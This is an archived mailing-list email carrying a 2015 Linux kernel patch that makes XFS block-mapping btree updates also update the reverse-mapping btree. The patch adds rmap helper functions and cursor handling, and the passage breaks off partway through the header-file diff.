(8.13.8/8.13.8) with ESMTP id t974vsb8018920; Wed, 7 Oct 2015 04:57:54 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:57:54 -0700 Subject: [PATCH 25/58] xfs: bmap btree changes should update rmap btree From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 25/58] xfs: bmap btree changes should update rmap btree To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:57:52 -0700 Message-ID: <20151007045752.30457.78721.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193877 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Any update to a file's bmap should make the corresponding change to the rmapbt. On a reflink filesystem, this is absolutely required because a given (file data) physical block can have multiple owners and the only sane way to find an rmap given a bmap is if there is a 1:1 correspondence. (At some point we can optimize this for non-reflink filesystems because regular merge still works there.) Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_bmap.c | 262 ++++++++++++++++++++++++++++++++++- fs/xfs/libxfs/xfs_bmap.h | 1 fs/xfs/libxfs/xfs_rmap.c | 296 ++++++++++++++++++++++++++++++++++++++++ fs/xfs/libxfs/xfs_rmap_btree.h | 20 +++ 4 files changed, 568 insertions(+), 11 deletions(-) diff --git a/fs/xfs/libxfs/xfs_bmap.c b/fs/xfs/libxfs/xfs_bmap.c index e740ef5..81f0ae0 100644 --- a/fs/xfs/libxfs/xfs_bmap.c +++ b/fs/xfs/libxfs/xfs_bmap.c @@ -45,6 +45,7 @@ #include "xfs_symlink.h" #include "xfs_attr_leaf.h" #include "xfs_filestream.h" +#include "xfs_rmap_btree.h" kmem_zone_t *xfs_bmap_free_item_zone; @@ -1861,6 +1862,10 @@ xfs_bmap_add_extent_delay_real( if (error) goto done; } + error = xfs_rmap_combine(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, &LEFT, &RIGHT, &PREV); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING | BMAP_LEFT_CONTIG: @@ -1893,6 +1898,10 @@ xfs_bmap_add_extent_delay_real( if (error) goto done; } + error = xfs_rmap_lcombine(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, &LEFT, &PREV); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING | BMAP_RIGHT_CONTIG: @@ -1924,6 +1933,10 @@ xfs_bmap_add_extent_delay_real( if (error) goto done; } + error = xfs_rmap_rcombine(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, &RIGHT, &PREV, new); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING: @@ -1953,6 +1966,10 @@ xfs_bmap_add_extent_delay_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, new); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_LEFT_CONTIG: @@ -1988,6 +2005,10 @@ xfs_bmap_add_extent_delay_real( if (error) goto done; } + error = xfs_rmap_lcombine(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, &LEFT, new); + if (error) + goto done; da_new = XFS_FILBLKS_MIN(xfs_bmap_worst_indlen(bma->ip, temp), startblockval(PREV.br_startblock)); xfs_bmbt_set_startblock(ep, nullstartblock(da_new)); @@ -2023,6 +2044,10 @@ xfs_bmap_add_extent_delay_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, new); + if (error) + goto done; if (xfs_bmap_needs_btree(bma->ip, XFS_DATA_FORK)) { error = xfs_bmap_extents_to_btree(bma->tp, bma->ip, @@ -2071,6 +2096,8 @@ xfs_bmap_add_extent_delay_real( if (error) goto done; } + error = xfs_rmap_rcombine(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, &RIGHT, new, new); da_new = XFS_FILBLKS_MIN(xfs_bmap_worst_indlen(bma->ip, temp), startblockval(PREV.br_startblock)); @@ -2107,6 +2134,10 @@ xfs_bmap_add_extent_delay_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, new); + if (error) + goto done; if (xfs_bmap_needs_btree(bma->ip, XFS_DATA_FORK)) { error = xfs_bmap_extents_to_btree(bma->tp, bma->ip, @@ -2176,6 +2207,10 @@ xfs_bmap_add_extent_delay_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, + XFS_DATA_FORK, new); + if (error) + goto done; if (xfs_bmap_needs_btree(bma->ip, XFS_DATA_FORK)) { error = xfs_bmap_extents_to_btree(bma->tp, bma->ip, @@ -2271,7 +2306,8 @@ xfs_bmap_add_extent_unwritten_real( xfs_bmbt_irec_t *new, /* new data to add to file extents */ xfs_fsblock_t *first, /* pointer to firstblock variable */ xfs_bmap_free_t *flist, /* list of extents to be freed */ - int *logflagsp) /* inode logging flags */ + int *logflagsp, /* inode logging flags */ + struct xfs_btree_cur *rcur)/* rmap btree pointer */ { xfs_btree_cur_t *cur; /* btree cursor */ xfs_bmbt_rec_host_t *ep; /* extent entry for idx */ @@ -2417,6 +2453,10 @@ xfs_bmap_add_extent_unwritten_real( RIGHT.br_blockcount, LEFT.br_state))) goto done; } + error = xfs_rmap_combine(rcur, ip->i_ino, + XFS_DATA_FORK, &LEFT, &RIGHT, &PREV); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING | BMAP_LEFT_CONTIG: @@ -2454,6 +2494,10 @@ xfs_bmap_add_extent_unwritten_real( LEFT.br_state))) goto done; } + error = xfs_rmap_lcombine(rcur, ip->i_ino, + XFS_DATA_FORK, &LEFT, &PREV); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING | BMAP_RIGHT_CONTIG: @@ -2489,6 +2533,10 @@ xfs_bmap_add_extent_unwritten_real( newext))) goto done; } + error = xfs_rmap_rcombine(rcur, ip->i_ino, + XFS_DATA_FORK, &RIGHT, &PREV, new); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_RIGHT_FILLING: @@ -2562,6 +2610,14 @@ xfs_bmap_add_extent_unwritten_real( if (error) goto done; } + error = xfs_rmap_move(rcur, ip->i_ino, + XFS_DATA_FORK, &PREV, new->br_blockcount); + if (error) + goto done; + error = xfs_rmap_resize(rcur, ip->i_ino, + XFS_DATA_FORK, &LEFT, -new->br_blockcount); + if (error) + goto done; break; case BMAP_LEFT_FILLING: @@ -2600,6 +2656,14 @@ xfs_bmap_add_extent_unwritten_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_move(rcur, ip->i_ino, + XFS_DATA_FORK, &PREV, new->br_blockcount); + if (error) + goto done; + error = xfs_rmap_insert(rcur, ip->i_ino, + XFS_DATA_FORK, new); + if (error) + goto done; break; case BMAP_RIGHT_FILLING | BMAP_RIGHT_CONTIG: @@ -2642,6 +2706,14 @@ xfs_bmap_add_extent_unwritten_real( newext))) goto done; } + error = xfs_rmap_resize(rcur, ip->i_ino, + XFS_DATA_FORK, &PREV, -new->br_blockcount); + if (error) + goto done; + error = xfs_rmap_move(rcur, ip->i_ino, + XFS_DATA_FORK, &RIGHT, -new->br_blockcount); + if (error) + goto done; break; case BMAP_RIGHT_FILLING: @@ -2682,6 +2754,14 @@ xfs_bmap_add_extent_unwritten_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_resize(rcur, ip->i_ino, + XFS_DATA_FORK, &PREV, -new->br_blockcount); + if (error) + goto done; + error = xfs_rmap_insert(rcur, ip->i_ino, + XFS_DATA_FORK, new); + if (error) + goto done; break; case 0: @@ -2743,6 +2823,17 @@ xfs_bmap_add_extent_unwritten_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_resize(rcur, ip->i_ino, XFS_DATA_FORK, &PREV, + new->br_startoff - PREV.br_startoff - + PREV.br_blockcount); + if (error) + goto done; + error = xfs_rmap_insert(rcur, ip->i_ino, XFS_DATA_FORK, new); + if (error) + goto done; + error = xfs_rmap_insert(rcur, ip->i_ino, XFS_DATA_FORK, &r[1]); + if (error) + goto done; break; case BMAP_LEFT_FILLING | BMAP_LEFT_CONTIG | BMAP_RIGHT_CONTIG: @@ -2946,6 +3037,7 @@ xfs_bmap_add_extent_hole_real( int rval=0; /* return value (logging flags) */ int state; /* state bits, accessed thru macros */ struct xfs_mount *mp; + struct xfs_bmbt_irec prev; /* fake previous extent entry */ mp = bma->tp ? bma->tp->t_mountp : NULL; ifp = XFS_IFORK_PTR(bma->ip, whichfork); @@ -3053,6 +3145,12 @@ xfs_bmap_add_extent_hole_real( if (error) goto done; } + prev = *new; + prev.br_startblock = nullstartblock(0); + error = xfs_rmap_combine(bma->rcur, bma->ip->i_ino, + whichfork, &left, &right, &prev); + if (error) + goto done; break; case BMAP_LEFT_CONTIG: @@ -3085,6 +3183,10 @@ xfs_bmap_add_extent_hole_real( if (error) goto done; } + error = xfs_rmap_resize(bma->rcur, bma->ip->i_ino, + whichfork, &left, new->br_blockcount); + if (error) + goto done; break; case BMAP_RIGHT_CONTIG: @@ -3119,6 +3221,10 @@ xfs_bmap_add_extent_hole_real( if (error) goto done; } + error = xfs_rmap_move(bma->rcur, bma->ip->i_ino, + whichfork, &right, -new->br_blockcount); + if (error) + goto done; break; case 0: @@ -3147,6 +3253,10 @@ xfs_bmap_add_extent_hole_real( goto done; XFS_WANT_CORRUPTED_GOTO(mp, i == 1, done); } + error = xfs_rmap_insert(bma->rcur, bma->ip->i_ino, + whichfork, new); + if (error) + goto done; break; } @@ -4276,6 +4386,59 @@ xfs_bmapi_delay( return 0; } +static int +alloc_rcur( + struct xfs_mount *mp, + struct xfs_trans *tp, + struct xfs_btree_cur **pcur, + xfs_fsblock_t fsblock) +{ + struct xfs_btree_cur *cur = *pcur; + struct xfs_buf *agbp; + int error; + xfs_agnumber_t agno; + + agno = XFS_FSB_TO_AGNO(mp, fsblock); + if (!xfs_sb_version_hasrmapbt(&mp->m_sb)) + return 0; + if (cur && cur->bc_private.a.agno == agno) + return 0; + if (isnullstartblock(fsblock)) + return 0; + + error = xfs_alloc_read_agf(mp, tp, agno, 0, &agbp); + if (error) + return error; + + cur = xfs_rmapbt_init_cursor(mp, tp, agbp, agno); + if (!cur) { + xfs_trans_brelse(tp, agbp); + return -ENOMEM; + } + + *pcur = cur; + return 0; +} + +static void +free_rcur( + struct xfs_btree_cur **pcur, + int bt_error) +{ + struct xfs_btree_cur *cur = *pcur; + struct xfs_buf *agbp; + struct xfs_trans *tp; + + if (cur == NULL) + return; + + agbp = cur->bc_private.a.agbp; + tp = cur->bc_tp; + xfs_btree_del_cursor(cur, bt_error); + xfs_trans_brelse(tp, agbp); + + *pcur = NULL; +} static int xfs_bmapi_allocate( @@ -4368,6 +4531,10 @@ xfs_bmapi_allocate( xfs_sb_version_hasextflgbit(&mp->m_sb)) bma->got.br_state = XFS_EXT_UNWRITTEN; + error = alloc_rcur(mp, bma->tp, &bma->rcur, bma->got.br_startblock); + if (error) + return error; + if (bma->wasdel) error = xfs_bmap_add_extent_delay_real(bma); else @@ -4429,9 +4596,14 @@ xfs_bmapi_convert_unwritten( mval->br_state = (mval->br_state == XFS_EXT_UNWRITTEN) ? XFS_EXT_NORM : XFS_EXT_UNWRITTEN; + error = alloc_rcur(bma->ip->i_mount, bma->tp, &bma->rcur, + mval->br_startblock); + if (error) + return error; + error = xfs_bmap_add_extent_unwritten_real(bma->tp, bma->ip, &bma->idx, &bma->cur, mval, bma->firstblock, bma->flist, - &tmp_logflags); + &tmp_logflags, bma->rcur); /* * Log the inode core unconditionally in the unwritten extent conversion * path because the conversion might not have done so (e.g., if the @@ -4633,6 +4805,7 @@ xfs_bmapi_write( } *nmap = n; + free_rcur(&bma.rcur, XFS_BTREE_NOERROR); /* * Transform from btree to extents, give it cur. */ @@ -4652,6 +4825,7 @@ xfs_bmapi_write( XFS_IFORK_MAXEXT(ip, whichfork)); error = 0; error0: + free_rcur(&bma.rcur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); /* * Log everything. Do this after conversion, there's no point in * logging the extent records if we've converted to btree format. @@ -4704,7 +4878,8 @@ xfs_bmap_del_extent( xfs_btree_cur_t *cur, /* if null, not a btree */ xfs_bmbt_irec_t *del, /* data to remove from extents */ int *logflagsp, /* inode logging flags */ - int whichfork) /* data or attr fork */ + int whichfork, /* data or attr fork */ + struct xfs_btree_cur *rcur) /* rmap btree */ { xfs_filblks_t da_new; /* new delay-alloc indirect blocks */ xfs_filblks_t da_old; /* old delay-alloc indirect blocks */ @@ -4822,6 +4997,9 @@ xfs_bmap_del_extent( XFS_IFORK_NEXT_SET(ip, whichfork, XFS_IFORK_NEXTENTS(ip, whichfork) - 1); flags |= XFS_ILOG_CORE; + error = xfs_rmap_delete(rcur, ip->i_ino, whichfork, &got); + if (error) + goto done; if (!cur) { flags |= xfs_ilog_fext(whichfork); break; @@ -4849,6 +5027,10 @@ xfs_bmap_del_extent( } xfs_bmbt_set_startblock(ep, del_endblock); trace_xfs_bmap_post_update(ip, *idx, state, _THIS_IP_); + error = xfs_rmap_move(rcur, ip->i_ino, whichfork, + &got, del->br_blockcount); + if (error) + goto done; if (!cur) { flags |= xfs_ilog_fext(whichfork); break; @@ -4875,6 +5057,10 @@ xfs_bmap_del_extent( break; } trace_xfs_bmap_post_update(ip, *idx, state, _THIS_IP_); + error = xfs_rmap_resize(rcur, ip->i_ino, whichfork, + &got, -del->br_blockcount); + if (error) + goto done; if (!cur) { flags |= xfs_ilog_fext(whichfork); break; @@ -4900,6 +5086,15 @@ xfs_bmap_del_extent( if (!delay) { new.br_startblock = del_endblock; flags |= XFS_ILOG_CORE; + error = xfs_rmap_resize(rcur, ip->i_ino, + whichfork, &got, + temp - got.br_blockcount); + if (error) + goto done; + error = xfs_rmap_insert(rcur, ip->i_ino, + whichfork, &new); + if (error) + goto done; if (cur) { if ((error = xfs_bmbt_update(cur, got.br_startoff, @@ -5052,6 +5247,7 @@ xfs_bunmapi( int wasdel; /* was a delayed alloc extent */ int whichfork; /* data or attribute fork */ xfs_fsblock_t sum; + struct xfs_btree_cur *rcur = NULL; /* rmap btree */ trace_xfs_bunmap(ip, bno, len, flags, _RET_IP_); @@ -5136,6 +5332,11 @@ xfs_bunmapi( got.br_startoff + got.br_blockcount - 1); if (bno < start) break; + + error = alloc_rcur(mp, tp, &rcur, got.br_startblock); + if (error) + goto error0; + /* * Then deal with the (possibly delayed) allocated space * we found. @@ -5195,7 +5396,7 @@ xfs_bunmapi( del.br_state = XFS_EXT_UNWRITTEN; error = xfs_bmap_add_extent_unwritten_real(tp, ip, &lastx, &cur, &del, firstblock, flist, - &logflags); + &logflags, rcur); if (error) goto error0; goto nodelete; @@ -5253,7 +5454,8 @@ xfs_bunmapi( lastx--; error = xfs_bmap_add_extent_unwritten_real(tp, ip, &lastx, &cur, &prev, - firstblock, flist, &logflags); + firstblock, flist, &logflags, + rcur); if (error) goto error0; goto nodelete; @@ -5262,7 +5464,8 @@ xfs_bunmapi( del.br_state = XFS_EXT_UNWRITTEN; error = xfs_bmap_add_extent_unwritten_real(tp, ip, &lastx, &cur, &del, - firstblock, flist, &logflags); + firstblock, flist, &logflags, + rcur); if (error) goto error0; goto nodelete; @@ -5315,7 +5518,7 @@ xfs_bunmapi( goto error0; } error = xfs_bmap_del_extent(ip, tp, &lastx, flist, cur, &del, - &tmp_logflags, whichfork); + &tmp_logflags, whichfork, rcur); logflags |= tmp_logflags; if (error) goto error0; @@ -5339,6 +5542,7 @@ nodelete: } *done = bno == (xfs_fileoff_t)-1 || bno < start || lastx < 0; + free_rcur(&rcur, XFS_BTREE_NOERROR); /* * Convert to a btree if necessary. */ @@ -5366,6 +5570,7 @@ nodelete: */ error = 0; error0: + free_rcur(&rcur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); /* * Log everything. Do this after conversion, there's no point in * logging the extent records if we've converted to btree format. @@ -5438,7 +5643,8 @@ xfs_bmse_merge( struct xfs_bmbt_rec_host *gotp, /* extent to shift */ struct xfs_bmbt_rec_host *leftp, /* preceding extent */ struct xfs_btree_cur *cur, - int *logflags) /* output */ + int *logflags, /* output */ + struct xfs_btree_cur *rcur) /* rmap btree */ { struct xfs_bmbt_irec got; struct xfs_bmbt_irec left; @@ -5469,6 +5675,13 @@ xfs_bmse_merge( XFS_IFORK_NEXT_SET(ip, whichfork, XFS_IFORK_NEXTENTS(ip, whichfork) - 1); *logflags |= XFS_ILOG_CORE; + error = xfs_rmap_resize(rcur, ip->i_ino, whichfork, &left, + blockcount - left.br_blockcount); + if (error) + return error; + error = xfs_rmap_delete(rcur, ip->i_ino, whichfork, &got); + if (error) + return error; if (!cur) { *logflags |= XFS_ILOG_DEXT; return 0; @@ -5511,7 +5724,8 @@ xfs_bmse_shift_one( struct xfs_bmbt_rec_host *gotp, struct xfs_btree_cur *cur, int *logflags, - enum shift_direction direction) + enum shift_direction direction, + struct xfs_btree_cur *rcur) { struct xfs_ifork *ifp; struct xfs_mount *mp; @@ -5561,7 +5775,7 @@ xfs_bmse_shift_one( offset_shift_fsb)) { return xfs_bmse_merge(ip, whichfork, offset_shift_fsb, *current_ext, gotp, adj_irecp, - cur, logflags); + cur, logflags, rcur); } } else { startoff = got.br_startoff + offset_shift_fsb; @@ -5598,6 +5812,10 @@ update_current_ext: (*current_ext)--; xfs_bmbt_set_startoff(gotp, startoff); *logflags |= XFS_ILOG_CORE; + error = xfs_rmap_slide(rcur, ip->i_ino, whichfork, + &got, startoff - got.br_startoff); + if (error) + return error; if (!cur) { *logflags |= XFS_ILOG_DEXT; return 0; @@ -5649,6 +5867,7 @@ xfs_bmap_shift_extents( int error = 0; int whichfork = XFS_DATA_FORK; int logflags = 0; + struct xfs_btree_cur *rcur = NULL; if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && @@ -5737,9 +5956,14 @@ xfs_bmap_shift_extents( } while (nexts++ < num_exts) { + xfs_bmbt_get_all(gotp, &got); + error = alloc_rcur(mp, tp, &rcur, got.br_startblock); + if (error) + return error; + error = xfs_bmse_shift_one(ip, whichfork, offset_shift_fsb, ¤t_ext, gotp, cur, &logflags, - direction); + direction, rcur); if (error) goto del_cursor; /* @@ -5765,6 +5989,7 @@ xfs_bmap_shift_extents( } del_cursor: + free_rcur(&rcur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); if (cur) xfs_btree_del_cursor(cur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); @@ -5801,6 +6026,7 @@ xfs_bmap_split_extent_at( int error = 0; int logflags = 0; int i = 0; + struct xfs_btree_cur *rcur = NULL; if (unlikely(XFS_TEST_ERROR( (XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_EXTENTS && @@ -5895,6 +6121,18 @@ xfs_bmap_split_extent_at( XFS_WANT_CORRUPTED_GOTO(mp, i == 1, del_cursor); } + /* update rmapbt */ + error = alloc_rcur(mp, tp, &rcur, new.br_startblock); + if (error) + goto del_cursor; + error = xfs_rmap_resize(rcur, ip->i_ino, whichfork, &got, -gotblkcnt); + if (error) + goto del_cursor; + error = xfs_rmap_insert(rcur, ip->i_ino, whichfork, &new); + if (error) + goto del_cursor; + free_rcur(&rcur, XFS_BTREE_NOERROR); + /* * Convert to a btree if necessary. */ @@ -5908,6 +6146,8 @@ xfs_bmap_split_extent_at( } del_cursor: + free_rcur(&rcur, error ? XFS_BTREE_ERROR : XFS_BTREE_NOERROR); + if (cur) { cur->bc_private.b.allocated = 0; xfs_btree_del_cursor(cur, diff --git a/fs/xfs/libxfs/xfs_bmap.h b/fs/xfs/libxfs/xfs_bmap.h index 89fa3dd..59f26cf 100644 --- a/fs/xfs/libxfs/xfs_bmap.h +++ b/fs/xfs/libxfs/xfs_bmap.h @@ -56,6 +56,7 @@ struct xfs_bmalloca { bool aeof; /* allocated space at eof */ bool conv; /* overwriting unwritten extents */ int flags; + struct xfs_btree_cur *rcur; /* rmap btree cursor */ }; /* diff --git a/fs/xfs/libxfs/xfs_rmap.c b/fs/xfs/libxfs/xfs_rmap.c index 045f9a7..d821b1a 100644 --- a/fs/xfs/libxfs/xfs_rmap.c +++ b/fs/xfs/libxfs/xfs_rmap.c @@ -563,3 +563,299 @@ out_error: xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); return error; } + +/* Encode logical offset for a rmapbt record */ +STATIC uint64_t +b2r_off( + int whichfork, + xfs_fileoff_t off) +{ + uint64_t x; + + x = off; + if (whichfork == XFS_ATTR_FORK) + x |= XFS_RMAP_OFF_ATTR; + return x; +} + +/* Encode blockcount for a rmapbt record */ +STATIC xfs_extlen_t +b2r_len( + struct xfs_bmbt_irec *irec) +{ + xfs_extlen_t x; + + x = irec->br_blockcount; + if (irec->br_state == XFS_EXT_UNWRITTEN) + x |= XFS_RMAP_LEN_UNWRITTEN; + return x; +} + +/* Combine two adjacent rmap extents */ +int +xfs_rmap_combine( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *LEFT, + struct xfs_bmbt_irec *RIGHT, + struct xfs_bmbt_irec *PREV) +{ + int error; + + if (!rcur) + return 0; + + trace_xfs_rmap_combine(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, LEFT, PREV, RIGHT); + + /* Delete right rmap */ + error = xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, RIGHT->br_startblock), + b2r_len(RIGHT), ino, + b2r_off(whichfork, RIGHT->br_startoff)); + if (error) + goto done; + + /* Delete prev rmap */ + if (!isnullstartblock(PREV->br_startblock)) { + error = xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, + PREV->br_startblock), + b2r_len(PREV), ino, + b2r_off(whichfork, PREV->br_startoff)); + if (error) + goto done; + } + + /* Enlarge left rmap */ + return xfs_rmap_resize(rcur, ino, whichfork, LEFT, + PREV->br_blockcount + RIGHT->br_blockcount); +done: + return error; +} + +/* Extend a left rmap extent */ +int +xfs_rmap_lcombine( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *LEFT, + struct xfs_bmbt_irec *PREV) +{ + int error; + + if (!rcur) + return 0; + + trace_xfs_rmap_lcombine(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, LEFT, PREV); + + /* Delete prev rmap */ + if (!isnullstartblock(PREV->br_startblock)) { + error = xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, + PREV->br_startblock), + b2r_len(PREV), ino, + b2r_off(whichfork, PREV->br_startoff)); + if (error) + goto done; + } + + /* Enlarge left rmap */ + return xfs_rmap_resize(rcur, ino, whichfork, LEFT, PREV->br_blockcount); +done: + return error; +} + +/* Extend a right rmap extent */ +int +xfs_rmap_rcombine( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *RIGHT, + struct xfs_bmbt_irec *PREV, + struct xfs_bmbt_irec *new) +{ + int error; + + if (!rcur) + return 0; + ASSERT(PREV->br_startoff == new->br_startoff); + + trace_xfs_rmap_rcombine(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, RIGHT, PREV); + + /* Delete prev rmap */ + if (!isnullstartblock(PREV->br_startblock)) { + error = xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, + PREV->br_startblock), + b2r_len(PREV), ino, + b2r_off(whichfork, PREV->br_startoff)); + if (error) + goto done; + } + + /* Enlarge right rmap */ + return xfs_rmap_resize(rcur, ino, whichfork, RIGHT, + -PREV->br_blockcount); +done: + return error; +} + +/* Insert a rmap extent */ +int +xfs_rmap_insert( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *new) +{ + if (!rcur) + return 0; + + trace_xfs_rmap_insert(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, new); + + return xfs_rmapbt_insert(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, new->br_startblock), + b2r_len(new), ino, + b2r_off(whichfork, new->br_startoff)); +} + +/* Delete a rmap extent */ +int +xfs_rmap_delete( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *new) +{ + if (!rcur) + return 0; + + trace_xfs_rmap_delete(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, new); + + return xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, new->br_startblock), + b2r_len(new), ino, + b2r_off(whichfork, new->br_startoff)); +} + +/* Change the start of an rmap */ +int +xfs_rmap_move( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *PREV, + long start_adj) +{ + int error; + struct xfs_bmbt_irec irec; + + if (!rcur) + return 0; + + trace_xfs_rmap_move(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, PREV, start_adj); + + /* Delete prev rmap */ + error = xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, PREV->br_startblock), + b2r_len(PREV), ino, + b2r_off(whichfork, PREV->br_startoff)); + if (error) + goto done; + + /* Re-add rmap with new start */ + irec = *PREV; + irec.br_startblock += start_adj; + irec.br_startoff += start_adj; + irec.br_blockcount -= start_adj; + return xfs_rmapbt_insert(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, irec.br_startblock), + b2r_len(&irec), ino, + b2r_off(whichfork, irec.br_startoff)); +done: + return error; +} + +/* Change the logical offset of an rmap */ +int +xfs_rmap_slide( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *PREV, + long start_adj) +{ + int error; + + if (!rcur) + return 0; + + trace_xfs_rmap_slide(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, PREV, start_adj); + + /* Delete prev rmap */ + error = xfs_rmapbt_delete(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, PREV->br_startblock), + b2r_len(PREV), ino, + b2r_off(whichfork, PREV->br_startoff)); + if (error) + goto done; + + /* Re-add rmap with new logical offset */ + return xfs_rmapbt_insert(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, PREV->br_startblock), + b2r_len(PREV), ino, + b2r_off(whichfork, PREV->br_startoff + start_adj)); +done: + return error; +} + +/* Change the size of an rmap */ +int +xfs_rmap_resize( + struct xfs_btree_cur *rcur, + xfs_ino_t ino, + int whichfork, + struct xfs_bmbt_irec *PREV, + long size_adj) +{ + int i; + int error; + struct xfs_bmbt_irec irec; + struct xfs_rmap_irec rrec; + + if (!rcur) + return 0; + + trace_xfs_rmap_resize(rcur->bc_mp, rcur->bc_private.a.agno, ino, + whichfork, PREV, size_adj); + + error = xfs_rmap_lookup_eq(rcur, + XFS_FSB_TO_AGBNO(rcur->bc_mp, PREV->br_startblock), + b2r_len(PREV), ino, + b2r_off(whichfork, PREV->br_startoff), &i); + if (error) + goto done; + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 1, done); + error = xfs_rmap_get_rec(rcur, &rrec, &i); + if (error) + goto done; + XFS_WANT_CORRUPTED_GOTO(rcur->bc_mp, i == 1, done); + irec = *PREV; + irec.br_blockcount += size_adj; + rrec.rm_blockcount = b2r_len(&irec); + error = xfs_rmap_update(rcur, &rrec); + if (error) + goto done; +done: + return error; +} diff --git a/fs/xfs/libxfs/xfs_rmap_btree.h b/fs/xfs/libxfs/xfs_rmap_btree.h index d7c9722..0131d9a 100644 --- a/fs/xfs/libxfs/xfs_rmap_btree.h +++ b/fs/xfs/libxfs/xfs_rmap_btree.h @@ -68,4 +68,24 @@ int xfs_rmap_free(struct xfs_trans *tp, struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t bno, xfs_extlen_t len, struct xfs_owner_info *oinfo); +/* functions for updating the rmapbt based on bmbt map/unmap operations */ +int xfs_rmap_combine(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + struct xfs_bmbt_irec *LEFT, struct xfs_bmbt_irec *RIGHT, + struct xfs_bmbt_irec *PREV); +int xfs_rmap_lcombine(struct xfs_btree_cur *rcur, xfs_ino_t ino, int whichfork, + 